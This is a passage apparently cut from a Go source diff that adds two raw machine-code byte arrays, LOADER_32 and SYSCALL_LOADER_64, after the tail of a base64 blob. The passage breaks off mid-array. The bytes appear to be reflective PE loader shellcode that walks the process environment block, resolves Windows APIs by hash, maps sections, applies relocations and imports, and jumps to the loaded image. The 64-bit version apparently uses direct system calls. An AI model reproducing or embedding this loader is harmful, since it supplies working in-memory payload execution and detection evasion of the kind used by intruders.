AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" +var LOADER_32 = []byte{ + 0x5e, 0x55, 0x89, 0xe5, 0x56, 0xe8, 0x8d, 0x00, 0x00, 0x00, 0x5e, 0x50, + 0xe8, 0x52, 0x02, 0x00, 0x00, 0xe8, 0xd0, 0x02, 0x00, 0x00, 0xe8, 0xac, + 0x05, 0x00, 0x00, 0xe8, 0x1f, 0x07, 0x00, 0x00, 0x5f, 0x8b, 0x47, 0x3c, + 0x8b, 0x44, 0x07, 0x28, 0x01, 0xf8, 0xe9, 0xe3, 0x07, 0x00, 0x00, 0x55, + 0x89, 0xe5, 0x56, 0x57, 0x51, 0x8b, 0x7d, 0x08, 0x8b, 0x75, 0x0c, 0x8b, + 0x4d, 0x10, 0xf3, 0xa4, 0x59, 0x5f, 0x5e, 0x89, 0xec, 0x5d, 0xc3, 0x8b, + 0x44, 0x24, 0x04, 0x8b, 0x54, 0x24, 0x08, 0x66, 0x85, 0xd2, 0x74, 0x1a, + 0x89, 0xc1, 0x0f, 0xb7, 0xd2, 0x01, 0xd0, 0xba, 0x00, 0x00, 0x00, 0x00, + 0xf2, 0x0f, 0x38, 0xf0, 0x11, 0x83, 0xc1, 0x01, 0x39, 0xc1, 0x75, 0xf4, + 0xeb, 0x1f, 0x0f, 0xb6, 0x08, 0x84, 0xc9, 0x74, 0x1b, 0x83, 0xc0, 0x01, + 0xba, 0x00, 0x00, 0x00, 0x00, 0xf2, 0x0f, 0x38, 0xf0, 0xd1, 0x83, 0xc0, + 0x01, 0x0f, 0xb6, 0x48, 0xff, 0x84, 0xc9, 0x75, 0xf0, 0x89, 0xd0, 0xc3, + 0xba, 0x00, 0x00, 0x00, 0x00, 0xeb, 0xf6, 0x55, 0x57, 0x56, 0x53, 0x83, + 0xec, 0x3c, 0x8b, 0x6c, 0x24, 0x50, 0x89, 0xef, 0x03, 0x7d, 0x3c, 0xb8, + 0x00, 0x00, 0x00, 0x00, 0x81, 0x3f, 0x50, 0x45, 0x00, 0x00, 0x0f, 0x85, + 0xb7, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x2c, 0x00, 0x00, 0x00, 0x00, + 0x8b, 0x47, 0x50, 0x89, 0x44, 0x24, 0x28, 0xc7, 0x44, 0x24, 0x14, 0x04, + 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x10, 0x00, 0x30, 0x10, 0x00, 0x8d, + 0x44, 0x24, 0x28, 0x89, 0x44, 0x24, 0x0c, 0xc7, 0x44, 0x24, 0x08, 0x00, + 0x00, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x2c, 0x89, 0x44, 0x24, 0x04, 0xc7, + 0x04, 0x24, 0xff, 0xff, 0xff, 0xff, 0x68, 0x55, 0x7c, 0xce, 0x99, 0xe8, + 0x96, 0x06, 0x00, 0x00, 0x83, 0xc4, 0x04, 0xff, 0xd0, 0x83, 0xec, 0x18, + 0x89, 0xc2, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x85, 0xd2, 0x78, 0x5c, 0x8b, + 0x47, 0x54, 0x89, 0x44, 0x24, 0x08, 0x89, 0x6c, 0x24, 0x04, 0x8b, 0x44, + 0x24, 0x2c, 0x89, 0x04, 0x24, 0xe8, 0x05, 0xff, 0xff, 0xff, 0x0f, 0xb7, + 0x47, 0x14, 0x8d, 0x5c, 0x07, 0x18, 0x66, 0x83, 0x7f, 0x06, 0x00, 0x74, + 0x32, 0xbe, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x43, 0x0c, 0x03, 0x44, 0x24, + 0x2c, 0x89, 0xea, 0x03, 0x53, 0x14, 0x8b, 0x4b, 0x10, 0x89, 0x4c, 0x24, + 0x08, 0x89, 0x54, 0x24, 0x04, 0x89, 0x04, 0x24, 0xe8, 0xd2, 0xfe, 0xff, + 0xff, 0x83, 0xc6, 0x01, 0x83, 0xc3, 0x28, 0x0f, 0xb7, 0x47, 0x06, 0x39, + 0xf0, 0x7f, 0xd3, 0x8b, 0x44, 0x24, 0x2c, 0x83, 0xc4, 0x3c, 0x5b, 0x5e, + 0x5f, 0x5d, 0xc3, 0x57, 0x53, 0x81, 0xec, 0x34, 0x02, 0x00, 0x00, 0x8b, + 0x9c, 0x24, 0x40, 0x02, 0x00, 0x00, 0xc7, 0x84, 0x24, 0x2c, 0x02, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x8d, 0x7c, 0x24, 0x1c, 0xb9, 0x82, 0x00, + 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xf3, 0xab, 0x80, 0x3b, 0x00, + 0x0f, 0x84, 0x98, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x89, + 0xd0, 0x83, 0xc2, 0x01, 0x80, 0x3c, 0x13, 0x00, 0x75, 0xf5, 0x01, 0xd2, + 0x66, 0x89, 0x94, 0x24, 0x24, 0x02, 0x00, 0x00, 0x83, 0xc2, 0x02, 0x66, + 0x89, 0x94, 0x24, 0x26, 0x02, 0x00, 0x00, 0x8d, 0x54, 0x24, 0x1c, 0x89, + 0x94, 0x24, 0x28, 0x02, 0x00, 0x00, 0x85, 0xc0, 0x78, 0x12, 0x66, 0x0f, + 0xbe, 0x14, 0x03, 0x66, 0x89, 0x54, 0x44, 0x1c, 0x83, 0xe8, 0x01, 0x83, + 0xf8, 0xff, 0x75, 0xee, 0x8d, 0x84, 0x24, 0x2c, 0x02, 0x00, 0x00, 0x89, + 0x44, 0x24, 0x0c, 0x8d, 0x84, 0x24, 0x24, 0x02, 0x00, 0x00, 0x89, 0x44, + 0x24, 0x08, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x04, + 0x24, 0x00, 0x00, 0x00, 0x00, 0x68, 0xa4, 0xb9, 0xeb, 0xb4, 0xe8, 0x77, + 0x05, 0x00, 0x00, 0x83, 0xc4, 0x04, 0xff, 0xd0, 0x83, 0xec, 0x10, 0x85, + 0xc0, 0x78, 0x10, 0x8b, 0x84, 0x24, 0x2c, 0x02, 0x00, 0x00, 0x81, 0xc4, + 0x34, 0x02, 0x00, 0x00, 0x5b, 0x5f, 0xc3, 0xb8, 0x00, 0x00, 0x00, 0x00, + 0xeb, 0xf0, 0x66, 0xc7, 0x84, 0x24, 0x24, 0x02, 0x00, 0x00, 0x00, 0x00, + 0x66, 0xc7, 0x84, 0x24, 0x26, 0x02, 0x00, 0x00, 0x02, 0x00, 0x8d, 0x44, + 0x24, 0x1c, 0x89, 0x84, 0x24, 0x28, 0x02, 0x00, 0x00, 0xeb, 0x8d, 0x55, + 0x57, 0x56, 0x53, 0x8b, 0x6c, 0x24, 0x14, 0x89, 0xeb, 0x03, 0x5d, 0x3c, + 0x8b, 0x93, 0xa0, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x85, + 0xd2, 0x74, 0x62, 0x01, 0xea, 0x89, 0xee, 0x2b, 0x73, 0x34, 0x83, 0x3a, + 0x00, 0x75, 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x4f, 0x0f, 0xb7, + 0x08, 0x81, 0xe1, 0xff, 0x0f, 0x00, 0x00, 0x03, 0x0a, 0x01, 0x74, 0x0d, + 0x00, 0x83, 0xc0, 0x02, 0x89, 0xd1, 0x03, 0x4a, 0x04, 0x39, 0xc8, 0x74, + 0x18, 0x0f, 0xb6, 0x48, 0x01, 0x89, 0xcf, 0x83, 0xe7, 0xf0, 0x89, 0xfb, + 0x80, 0xfb, 0x30, 0x74, 0xd5, 0x80, 0xf9, 0x0f, 0x76, 0xdf, 0xcc, 0xeb, + 0xdc, 0x89, 0xc2, 0x83, 0x3a, 0x00, 0x74, 0x10, 0x8d, 0x42, 0x08, 0x89, + 0xd1, 0x03, 0x4a, 0x04, 0x39, 0xc8, 0x75, 0xd5, 0x89, 0xca, 0xeb, 0xeb, + 0xb8, 0x01, 0x00, 0x00, 0x00, 0x5b, 0x5e, 0x5f, 0x5d, 0xc3, 0x55, 0x57, + 0x56, 0x53, 0x83, 0xec, 0x2c, 0x8b, 0x6c, 0x24, 0x40, 0x8b, 0x45, 0x3c, + 0x8b, 0x94, 0x05, 0x80, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, + 0x85, 0xd2, 0x0f, 0x84, 0xb4, 0x00, 0x00, 0x00, 0x8d, 0x44, 0x15, 0x00, + 0x89, 0x44, 0x24, 0x1c, 0x8b, 0x40, 0x0c, 0x85, 0xc0, 0x75, 0x74, 0xb8, + 0x01, 0x00, 0x00, 0x00, 0xe9, 0x9b, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, + 0x08, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0x89, 0x3c, 0x24, + 0xe8, 0x8f, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x02, 0x89, 0x06, 0x83, + 0xc3, 0x04, 0x83, 0xc6, 0x04, 0x8b, 0x03, 0x85, 0xc0, 0x74, 0x34, 0x85, + 0xc0, 0x78, 0xd6, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0x8d, + 0x44, 0x05, 0x02, 0x89, 0x04, 0x24, 0xe8, 0xe8, 0xfc, 0xff, 0xff, 0xc7, + 0x44, 0x24, 0x08, 0xff, 0xff, 0xff, 0xff, 0x89, 0x44, 0x24, 0x04, 0x89, + 0x3c, 0x24, 0xe8, 0x51, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x74, 0xc4, 0x89, + 0x06, 0xeb, 0xc0, 0x83, 0x44, 0x24, 0x1c, 0x14, 0x8b, 0x44, 0x24, 0x1c, + 0x8b, 0x40, 0x0c, 0x85, 0xc0, 0x74, 0x25, 0x01, 0xe8, 0x89, 0x04, 0x24, + 0xe8, 0xe2, 0xfd, 0xff, 0xff, 0x89, 0xc7, 0x85, 0xc0, 0x74, 0x1c, 0x8b, + 0x44, 0x24, 0x1c, 0x89, 0xeb, 0x03, 0x18, 0x89, 0xee, 0x03, 0x70, 0x10, + 0x8b, 0x03, 0x85, 0xc0, 0x75, 0x99, 0xeb, 0xcb, 0xb8, 0x01, 0x00, 0x00, + 0x00, 0xeb, 0x05, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x83, 0xc4, 0x2c, 0x5b, + 0x5e, 0x5f, 0x5d, 0xc3, 0x55, 0x89, 0xe5, 0x57, 0x56, 0x53, 0x83, 0xe4, + 0xf0, 0x81, 0xec, 0x40, 0x02, 0x00, 0x00, 0x8b, 0x5d, 0x08, 0x89, 0xd8, + 0x03, 0x43, 0x3c, 0x89, 0xda, 0x03, 0x50, 0x78, 0x8b, 0x40, 0x7c, 0x89, + 0x44, 0x24, 0x1c, 0x8b, 0x7a, 0x20, 0x8b, 0x42, 0x1c, 0x89, 0x44, 0x24, + 0x2c, 0x8b, 0x42, 0x24, 0x89, 0x44, 0x24, 0x28, 0x8b, 0x4a, 0x18, 0x85, + 0xc9, 0x0f, 0x84, 0x6b, 0x01, 0x00, 0x00, 0xbe, 0x00, 0x00, 0x00, 0x00, + 0x01, 0xdf, 0x89, 0x54, 0x24, 0x24, 0x89, 0x4c, 0x24, 0x20, 0xc7, 0x44, + 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0x89, 0xd8, 0x03, 0x04, 0xb7, 0x89, + 0x04, 0x24, 0xe8, 0x20, 0xfc, 0xff, 0xff, 0x39, 0x75, 0x10, 0x74, 0x1a, + 0x3b, 0x45, 0x0c, 0x74, 0x15, 0x83, 0xc6, 0x01, 0x8b, 0x44, 0x24, 0x20, + 0x39, 0xc6, 0x75, 0xd6, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe9, 0x0a, 0x01, + 0x00, 0x00, 0x8b, 0x54, 0x24, 0x24, 0x8d, 0x04, 0x73, 0x8b, 0x4c, 0x24, + 0x28, 0x0f, 0xb7, 0x04, 0x08, 0x8d, 0x04, 0x83, 0x8b, 0x4c, 0x24, 0x2c, + 0x03, 0x1c, 0x08, 0x39, 0xd3, 0x0f, 0x82, 0xe7, 0x00, 0x00, 0x00, 0x8b, + 0x44, 0x24, 0x1c, 0x01, 0xc2, 0x39, 0xd3, 0x0f, 0x83, 0xd9, 0x00, 0x00, + 0x00, 0xc5, 0xf9, 0xef, 0xc0, 0xc5, 0xfa, 0x7f, 0x44, 0x24, 0x38, 0x8d, + 0x7c, 0x24, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xb9, 0x3d, 0x00, 0x00, + 0x00, 0xf3, 0xab, 0xc5, 0xfa, 0x7f, 0x84, 0x24, 0x3c, 0x01, 0x00, 0x00, + 0x8d, 0xbc, 0x24, 0x4c, 0x01, 0x00, 0x00, 0xb9, 0x3d, 0x00, 0x00, 0x00, + 0xf3, 0xab, 0x80, 0x3b, 0x2e, 0x0f, 0x84, 0xa9, 0x00, 0x00, 0x00, 0xbe, + 0x00, 0x00, 0x00, 0x00, 0x83, 0xc6, 0x01, 0x89, 0xf0, 0x80, 0x3c, 0x33, + 0x2e, 0x75, 0xf5, 0x8d, 0x54, 0x24, 0x38, 0x89, 0x44, 0x24, 0x08, 0x89, + 0x5c, 0x24, 0x04, 0x89, 0x14, 0x24, 0xe8, 0x5c, 0xfb, 0xff, 0xff, 0x8d, + 0x4c, 0x33, 0x01, 0x80, 0x39, 0x00, 0x0f, 0x84, 0x87, 0x00, 0x00, 0x00, + 0xb8, 0x00, 0x00, 0x00, 0x00, 0x01, 0xde, 0x83, 0xc0, 0x01, 0x89, 0xc2, + 0x80, 0x7c, 0x06, 0x01, 0x00, 0x75, 0xf4, 0x8d, 0x84, 0x24, 0x3c, 0x01, + 0x00, 0x00, 0x89, 0x54, 0x24, 0x08, 0x89, 0x4c, 0x24, 0x04, 0x89, 0x04, + 0x24, 0xe8, 0x25, 0xfb, 0xff, 0xff, 0x8d, 0x44, 0x24, 0x38, 0x89, 0x04, + 0x24, 0xe8, 0x61, 0xfc, 0xff, 0xff, 0x89, 0xc3, 0xb8, 0x00, 0x00, 0x00, + 0x00, 0x85, 0xdb, 0x74, 0x2f, 0xc7, 0x44, 0x24, 0x04, 0x00, 0x00, 0x00, + 0x00, 0x8d, 0x84, 0x24, 0x3c, 0x01, 0x00, 0x00, 0x89, 0x04, 0x24, 0xe8, + 0x0f, 0xfb, 0xff, 0xff, 0xc7, 0x44, 0x24, 0x08, 0xff, 0xff, 0xff, 0xff, + 0x89, 0x44, 0x24, 0x04, 0x89, 0x1c, 0x24, 0xe8, 0x78, 0xfe, 0xff, 0xff, + 0x89, 0xc3, 0x89, 0xd8, 0x8d, 0x65, 0xf4, 0x5b, 0x5e, 0x5f, 0x5d, 0xc3, + 0xbe, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xe9, 0x58, + 0xff, 0xff, 0xff, 0xba, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x85, 0xb8, 0x00, + 0x00, 0x00, 0x00, 0xeb, 0xdb, 0x57, 0x56, 0x53, 0x83, 0xec, 0x08, 0x8b, + 0x7c, 0x24, 0x18, 0x64, 0xa1, 0x30, 0x00, 0x00, 0x00, 0x8b, 0x40, 0x0c, + 0x8d, 0x70, 0x14, 0x8b, 0x58, 0x14, 0x39, 0xde, 0x74, 0x2e, 0x0f, 0xb7, + 0x43, 0x24, 0x89, 0x44, 0x24, 0x04, 0x8b, 0x43, 0x28, 0x89, 0x04, 0x24, + 0xe8, 0xa2, 0xfa, 0xff, 0xff, 0x39, 0xf8, 0x74, 0x0d, 0x8b, 0x1b, 0x39, + 0xde, 0x75, 0xe3, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0x03, 0x8b, 0x43, + 0x10, 0x83, 0xc4, 0x08, 0x5b, 0x5e, 0x5f, 0xc3, 0xb8, 0x00, 0x00, 0x00, + 0x00, 0xeb, 0xf2, 0x55, 0x57, 0x56, 0x53, 0x83, 0xec, 0x4c, 0x8b, 0x6c, + 0x24, 0x60, 0x89, 0xef, 0x03, 0x7d, 0x3c, 0x0f, 0xb7, 0x47, 0x14, 0x8d, + 0x5c, 0x07, 0x18, 0xc7, 0x44, 0x24, 0x3c, 0x00, 0x00, 0x00, 0x00, 0x66, + 0x83, 0x7f, 0x06, 0x00, 0x74, 0x31, 0xbe, 0x00, 0x00, 0x00, 0x00, 0x89, + 0xfd, 0xe9, 0x0c, 0x01, 0x00, 0x00, 0xc6, 0x44, 0x24, 0x2f, 0x01, 0xeb, + 0x41, 0xba, 0x20, 0x00, 0x00, 0x00, 0xe9, 0x8e, 0x00, 0x00, 0x00, 0xb8, + 0x00, 0x00, 0x00, 0x00, 0xeb, 0x05, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x83, + 0xc4, 0x4c, 0x5b, 0x5e, 0x5f, 0x5d, 0xc3, 0xb8, 0x01, 0x00, 0x00, 0x00, + 0xeb, 0xf1, 0x89, 0xc7, 0xc1, 0xef, 0x1f, 0xc6, 0x44, 0x24, 0x2f, 0x00, + 0xa9, 0x00, 0x00, 0x00, 0x20, 0x74, 0x3a, 0xba, 0x10, 0x00, 0x00, 0x00, + 0x89, 0xf9, 0x84, 0xc9, 0x74, 0x34, 0x25, 0x00, 0x00, 0x00, 0x60, 0xbf, + 0x01, 0x00, 0x00, 0x00, 0x3d, 0x00, 0x00, 0x00, 0x60, 0xba, 0x20, 0x00, + 0x00, 0x00, 0xb8, 0x80, 0x00, 0x00, 0x00, 0x0f, 0x45, 0xd0, 0xeb, 0x26, + 0xa9, 0x00, 0x00, 0x00, 0x20, 0x75, 0x93, 0xc6, 0x44, 0x24, 0x2f, 0x01, + 0xba, 0x04, 0x00, 0x00, 0x00, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x25, 0x00, + 0x00, 0x00, 0x60, 0x3d, 0x00, 0x00, 0x00, 0x60, 0x0f, 0x84, 0x7b, 0xff, + 0xff, 0xff, 0x80, 0x7c, 0x24, 0x2f, 0x00, 0x74, 0x0c, 0x89, 0xf8, 0x84, + 0xc0, 0xb8, 0x40, 0x00, 0x00, 0x00, 0x0f, 0x45, 0xd0, 0x8b, 0x44, 0x24, + 0x60, 0x8b, 0x4c, 0x24, 0x28, 0x03, 0x41, 0x0c, 0x89, 0x44, 0x24, 0x3c, + 0x8b, 0x41, 0x10, 0x89, 0x44, 0x24, 0x34, 0xc7, 0x44, 0x24, 0x38, 0x00, + 0x00, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x38, 0x89, 0x44, 0x24, 0x10, 0x89, + 0x54, 0x24, 0x0c, 0x8d, 0x44, 0x24, 0x34, 0x89, 0x44, 0x24, 0x08, 0x8d, + 0x44, 0x24, 0x3c, 0x89, 0x44, 0x24, 0x04, 0xc7, 0x04, 0x24, 0xff, 0xff, + 0xff, 0xff, 0x68, 0x41, 0x4d, 0xde, 0x6e, 0xe8, 0xb2, 0x00, 0x00, 0x00, + 0x83, 0xc4, 0x04, 0xff, 0xd0, 0x83, 0xec, 0x14, 0x85, 0xc0, 0x0f, 0x88, + 0x17, 0xff, 0xff, 0xff, 0x83, 0xc6, 0x01, 0x83, 0xc3, 0x28, 0x0f, 0xb7, + 0x45, 0x06, 0x39, 0xf0, 0x0f, 0x8e, 0x0c, 0xff, 0xff, 0xff, 0x89, 0x5c, + 0x24, 0x28, 0x8b, 0x43, 0x24, 0x85, 0xc0, 0x74, 0xe3, 0x99, 0x83, 0xe2, + 0xc8, 0x83, 0xc2, 0x40, 0xa9, 0x00, 0x00, 0x00, 0x40, 0x0f, 0x84, 0x03, + 0xff, 0xff, 0xff, 0x85, 0xc0, 0x0f, 0x88, 0x35, 0xff, 0xff, 0xff, 0xbf, + 0x00, 0x00, 0x00, 0x00, 0xc6, 0x44, 0x24, 0x2f, 0x01, 0xba, 0x02, 0x00, + 0x00, 0x00, 0xe9, 0xf1, 0xfe, 0xff, 0xff, 0x56, 0x53, 0x83, 0xec, 0x14, + 0x8b, 0x74, 0x24, 0x20, 0x8b, 0x46, 0x3c, 0x8b, 0x94, 0x06, 0xc0, 0x00, + 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x85, 0xd2, 0x74, 0x0d, 0x8b, + 0x5c, 0x16, 0x0c, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x85, 0xdb, 0x75, 0x21, + 0x83, 0xc4, 0x14, 0x5b, 0x5e, 0xc3, 0xc7, 0x44, 0x24, 0x08, 0x00, 0x00, + 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x01, 0x00, 0x00, 0x00, 0x89, 0x34, + 0x24, 0xff, 0xd0, 0x83, 0xec, 0x0c, 0x83, 0xc3, 0x04, 0x8b, 0x03, 0x85, + 0xc0, 0x75, 0xdf, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, 0xd2, 0x60, 0x89, + 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, + 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, + 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xf2, 0x0f, 0x38, 0xf0, 0xf8, 0xe2, 0xf2, + 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, + 0xe3, 0x42, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, + 0x18, 0xe3, 0x34, 0x8b, 0x7d, 0xf8, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, + 0xac, 0xf2, 0x0f, 0x38, 0xf0, 0xf8, 0x38, 0xe0, 0x75, 0xf6, 0x3b, 0x7d, + 0x24, 0x75, 0xe6, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, + 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, + 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0xc3, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, + 0xeb, 0x93, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x59, 0x29, 0xf1, 0x83, 0xc1, + 0x0d, 0x89, 0xf7, 0x83, 0xef, 0x05, 0xf3, 0xaa, 0xfc, 0x89, 0xec, 0x5d, + 0xff, 0xe0, +} + +var SYSCALL_LOADER_64 = []byte{ + 0x5e, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x89, 0xf1, 0xe8, 0x97, 0x00, 0x00, + 0x00, 0x48, 0x89, 0xc7, 0x48, 0x89, 0xf9, 0xe8, 0xe5, 0x02, 0x00, 0x00, + 0x48, 0x89, 0xf9, 0xe8, 0x4c, 0x02, 0x00, 0x00, 0x48, 0x89, 0xf9, 0xe8, + 0xf8, 0x05, 0x00, 0x00, 0x48, 0x89, 0xf9, 0xe8, 0xa7, 0x07, 0x00, 0x00, + 0x48, 0x31, 0xc0, 0x8b, 0x47, 0x3c, 0x8b, 0x44, 0x07, 0x28, 0x48, 0x01, + 0xf8, 0xe9, 0x08, 0x09, 0x00, 0x00, 0x56, 0x57, 0x48, 0x89, 0xcf, 0x48, + 0x89, 0xd6, 0x4c, 0x89, 0xc1, 0xf3, 0xa4, 0x5f, 0x5e, 0xc3, 0x66, 0x85, + 0xd2, 0x74, 0x24, 0x49, 0x89, 0xc8, 0x0f, 0xb7, 0xd2, 0x8d, 0x42, 0xff, + 0x48, 0x8d, 0x54, 0x01, 0x01, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xf2, 0x41, + 0x0f, 0x38, 0xf0, 0x00, 0x49, 0x83, 0xc0, 0x01, 0x49, 0x39, 0xd0, 0x75, + 0xf1, 0xeb, 0x21, 0x0f, 0xb6, 0x11, 0x84, 0xd2, 0x74, 0x1b, 0x48, 0x83, + 0xc1, 0x01, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xf2, 0x0f, 0x38, 0xf0, 0xc2, + 0x48, 0x83, 0xc1, 0x01, 0x0f, 0xb6, 0x51, 0xff, 0x84, 0xd2, 0x75, 0xef, + 0xc3, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0xf8, 0x55, 0x57, 0x56, 0x53, + 0x48, 0x83, 0xec, 0x48, 0x48, 0x89, 0xcd, 0x48, 0x63, 0x79, 0x3c, 0x48, + 0x01, 0xcf, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x81, 0x3f, 0x50, 0x45, 0x00, + 0x00, 0x0f, 0x85, 0xa7, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x44, 0x24, 0x38, + 0x00, 0x00, 0x00, 0x00, 0x8b, 0x47, 0x50, 0x48, 0x89, 0x44, 0x24, 0x30, + 0x48, 0x8d, 0x54, 0x24, 0x38, 0xc7, 0x44, 0x24, 0x28, 0x04, 0x00, 0x00, + 0x00, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x30, 0x10, 0x00, 0x4c, 0x8d, 0x4c, + 0x24, 0x30, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc1, 0xff, + 0xff, 0xff, 0xff, 0x41, 0xba, 0x55, 0x7c, 0xce, 0x99, 0xe8, 0x27, 0x07, + 0x00, 0x00, 0x49, 0x89, 0xc2, 0xe8, 0xd9, 0x07, 0x00, 0x00, 0x89, 0xc2, + 0xb8, 0x00, 0x00, 0x00, 0x00, 0x85, 0xd2, 0x78, 0x51, 0x44, 0x8b, 0x47, + 0x54, 0x48, 0x89, 0xea, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0xe8, 0x14, 0xff, + 0xff, 0xff, 0x0f, 0xb7, 0x47, 0x14, 0x48, 0x8d, 0x5c, 0x07, 0x18, 0x66, + 0x83, 0x7f, 0x06, 0x00, 0x74, 0x2b, 0xbe, 0x00, 0x00, 0x00, 0x00, 0x8b, + 0x4b, 0x0c, 0x48, 0x03, 0x4c, 0x24, 0x38, 0x8b, 0x53, 0x14, 0x48, 0x01, + 0xea, 0x44, 0x8b, 0x43, 0x10, 0xe8, 0xe8, 0xfe, 0xff, 0xff, 0x83, 0xc6, + 0x01, 0x48, 0x83, 0xc3, 0x28, 0x0f, 0xb7, 0x47, 0x06, 0x39, 0xf0, 0x7f, + 0xda, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x48, 0x83, 0xc4, 0x48, 0x5b, 0x5e, + 0x5f, 0x5d, 0xc3, 0x57, 0x48, 0x81, 0xec, 0x50, 0x02, 0x00, 0x00, 0x49, + 0x89, 0xc8, 0x48, 0xc7, 0x84, 0x24, 0x48, 0x02, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xc7, 0x84, 0x24, 0x34, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x48, 0x8d, 0x7c, 0x24, 0x20, 0xb9, 0x41, 0x00, 0x00, 0x00, 0xb8, + 0x00, 0x00, 0x00, 0x00, 0xf3, 0x48, 0xab, 0x41, 0x80, 0x38, 0x00, 0x0f, + 0x84, 0x94, 0x00, 0x00, 0x00, 0xba, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, + 0xd0, 0x48, 0x83, 0xc2, 0x01, 0x41, 0x80, 0x7c, 0x10, 0xff, 0x00, 0x75, + 0xf1, 0x8d, 0x14, 0x00, 0x66, 0x89, 0x94, 0x24, 0x30, 0x02, 0x00, 0x00, + 0x83, 0xc2, 0x02, 0x66, 0x89, 0x94, 0x24, 0x32, 0x02, 0x00, 0x00, 0x48, + 0x8d, 0x54, 0x24, 0x20, 0x48, 0x89, 0x94, 0x24, 0x38, 0x02, 0x00, 0x00, + 0x83, 0xe8, 0x01, 0x78, 0x15, 0x48, 0x98, 0x66, 0x41, 0x0f, 0xbe, 0x14, + 0x00, 0x66, 0x89, 0x54, 0x44, 0x20, 0x48, 0x83, 0xe8, 0x01, 0x85, 0xc0, + 0x79, 0xed, 0x4c, 0x8d, 0x8c, 0x24, 0x48, 0x02, 0x00, 0x00, 0x4c, 0x8d, + 0x84, 0x24, 0x30, 0x02, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0xb9, + 0x00, 0x00, 0x00, 0x00, 0x41, 0xba, 0xa4, 0xb9, 0xeb, 0xb4, 0xe8, 0x06, + 0x06, 0x00, 0x00, 0xff, 0xd0, 0x85, 0xc0, 0x78, 0x11, 0x48, 0x8b, 0x84, + 0x24, 0x48, 0x02, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x50, 0x02, 0x00, 0x00, + 0x5f, 0xc3, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xeb, 0xf0, 0x66, 0xc7, 0x84, + 0x24, 0x30, 0x02, 0x00, 0x00, 0x00, 0x00, 0x66, 0xc7, 0x84, 0x24, 0x32, + 0x02, 0x00, 0x00, 0x02, 0x00, 0x48, 0x8d, 0x44, 0x24, 0x20, 0x48, 0x89, + 0x84, 0x24, 0x38, 0x02, 0x00, 0x00, 0xeb, 0x9a, 0x49, 0x89, 0xc9, 0x48, + 0x63, 0x51, 0x3c, 0x48, 0x01, 0xca, 0x8b, 0x82, 0xb0, 0x00, 0x00, 0x00, + 0xb9, 0x00, 0x00, 